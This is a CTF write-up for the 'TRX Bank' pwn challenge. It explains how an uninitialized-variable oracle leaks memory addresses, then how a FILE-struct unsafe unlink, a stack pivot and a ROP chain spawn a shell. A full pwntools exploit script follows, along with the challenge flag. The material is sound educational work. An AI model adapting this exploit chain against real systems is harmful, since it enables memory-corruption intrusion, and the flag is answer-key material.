TRX CTF 25 - TRX Bank
Description
To all our Valued Customers, at TRX Bank we aim to provide only the top-notch banking and customer experience;
all reports about so-called “data leaks” are baseless slander from our competitors.
DISCLAIMER: Please test your solve locally before spawning a remote instance of the challenge!
Overview of the challenge
The challenge allows us to create/delete bank accounts and make transfers/deposits,
there’s also a secret_backdoor
function, which we can access only after successfully leaking pie, which allows us to overwrite part of the fp_rand
file struct used to create random IBANs
Solution
The first step to solving the challenge is noticing a missing check in the transfer
function, we can make the scanf
call that asks the transfer amount fail, allowing us to use the uninitialized variable as an oracle, we can then binary search that value against our account balance.
This allows us to leak pie/heap/libc/stack by making the binary reach different functions before transferring (see solve.py for details)
The second step involves overwriting the prev_chain
and chain
fields of the file struct, allowing us to perform an unsafe-unlink
to gain a limited write-what
primitive, the catch is that both the write and the what must be writeable addresses
One possible solution is to overwrite a saved rbp
on the stack and pivot to a controlled location.
The last thing we need is a place to store our rop-chain, i opted for writing it to the heap by overwriting the _fileno
to stdin and creating new IBANs
Solve Script
#!/usr/bin/env python3
from pwn import *
from time import sleep
exe = ELF("./chal_patched")
libc = ELF("./libc.so.6")
context.binary = exe
DOCKER_PORT = 3317
REMOTE_NC_CMD = "nc bank.ctf.theromanxpl0.it 7010" # `nc <host> <port>`
bstr = lambda x: str(x).encode()
ELF.binsh = lambda self: next(self.search(b"/bin/sh\0"))
GDB_SCRIPT = """
set follow-fork-mode parent
set follow-exec-mode same
b *transfer+334
"""
def conn():
if args.LOCAL:
return process([exe.path])
if args.GDB:
return gdb.debug([exe.path], gdbscript=GDB_SCRIPT)
if args.DOCKER:
return remote("localhost", DOCKER_PORT)
return remote(REMOTE_NC_CMD.split()[1], int(REMOTE_NC_CMD.split()[2]))
def main():
r = conn()
def malloc():
r.sendline(b"2")
r.recvuntil(b"your IBAN is ")
ret = r.recv(31)
r.recvuntil(b">")
return ret
def free(IBAN):
r.sendline(b"3")
r.recvuntil(b"Please enter your IBAN:")
r.send(IBAN)
r.recvuntil(b">")
def deposit(IBAN, n):
r.sendline(b"4")
r.send(IBAN)
r.sendline(bstr(n))
r.recvuntil(b">")
def transfer(src, dst, n):
r.sendline(b"5")
r.send(src)
r.send(dst)
r.sendline(n)
r.recvuntil(b"How much do you want to transfer?\n")
ret = r.recvline()
r.recvuntil(b">")
return ret
def spray_heap(data=None):
if data==None:
r.send(b"AA")
r.recvuntil(b">")
return
for i in range(0, len(data), 0x2):
r.send(data[i:i+2])
r.recvuntil(b">")
def backdoor(addr, data=None):
r.sendline(b"6")
r.sendline(hex(addr).encode())
r.send(data)
r.recvuntil(b">")
def binary_search(l, r, type=None):
mid = (l+r)//2
free(n[0])
n[0] = malloc()
deposit(n[0], mid)
if type == "STACK":
fp = FileStructure()
fp.fileno = 3
fp._lock = exe.bss(0x300)
backdoor(exe.sym.secret_backdoor, bytes(fp)[0x60:0x60+0x77])
elif type == "HEAP":
n[0x1f] = malloc()
free(n[0x1f])
elif type == "LIBC":
spray_heap()
res = transfer(n[0], n[1], b"-")
if l>=r:
return mid
elif b"insufficient" in res:
l=mid+1
elif b"completed" in res:
r=mid-1
return binary_search(l,r, type)
'''
USE UNINITIALIZED VARIABLE AS AN ORACLE TO LEAK PIE/HEAP/LIBC
'''
n = []
for i in range(0x2):
n.append(malloc())
exe.address = binary_search(0, 2**48) - exe.sym.deposit - 225
log.info(f"PIE @ {hex(exe.address)}")
stack = binary_search(0, 2**48, "STACK")
log.info(f"STACK @ {hex(stack)}")
for i in range(0x1d):
n.append(malloc())
n.append(0)
heap = binary_search(0, 2**48, "HEAP") - 0x1a30
log.info(f"HEAP @ {hex(heap)}")
libc.address = binary_search(0, 2**48, "LIBC") - libc.sym.puts - 474
log.info(f"LIBC @ {hex(libc.address)}")
'''
UNSAFE UNLINK TO OVERWRITE SAVED RBP AND ROP
'''
fp = FileStructure()
fp.fileno = 0
fp._lock = exe.bss(0x300)
fp.chain = heap+0x5a0 #our saved ropchain on the heap
fp.unknown2 = p64(0)*2 + p64(stack-0x168) + p64(-1, signed=True) + p64(0) #prevchain and the saved rbp on the stack
backdoor(exe.sym.secret_backdoor, bytes(fp)[0x60:0x60+0x77])
rop2 = ROP(libc)
rop2.rdi = libc.binsh()
rop2.raw(rop2.ret.address)
rop2.raw(libc.sym.system)
rop = ROP(libc)
rop.raw(b"A"*0xf8)
rop.read(0, stack-0x200, len(rop2.chain()))
rop.rsp = stack-0x200
for i in range(11):
free(malloc())
r.sendline(b"2")
r.send(b"\0"*15)
r.recvuntil(b">", timeout=2)
free(n[0])
r.sendline(b"2")
r.send((rop.chain()))
#gdb.attach(r, gdbscript="b fclose\nb *leave+97\nc")
fp = FileStructure()
fp.fileno = 3
fp._lock = exe.bss(0x300)
fp.chain = heap+0x5a0 #our saved ropchain on the heap
fp.unknown2 = p64(0)*2 + p64(stack-0x168) + p64(-1, signed=True) + p64(0) #prevchain and the saved rbp on the stack
r.recvuntil(b">")
backdoor(exe.sym.secret_backdoor, bytes(fp)[0x60:0x60+0x77])
r.sendline(b"7")
r.recvuntil(b"We're sorry ")
r.send(rop2.chain())
r.interactive()
if __name__ == "__main__":
main()
Flag
TRX{un54f3_unl1nk_15_n07_f0r_7h3_h34p_0nly_a4b62c68}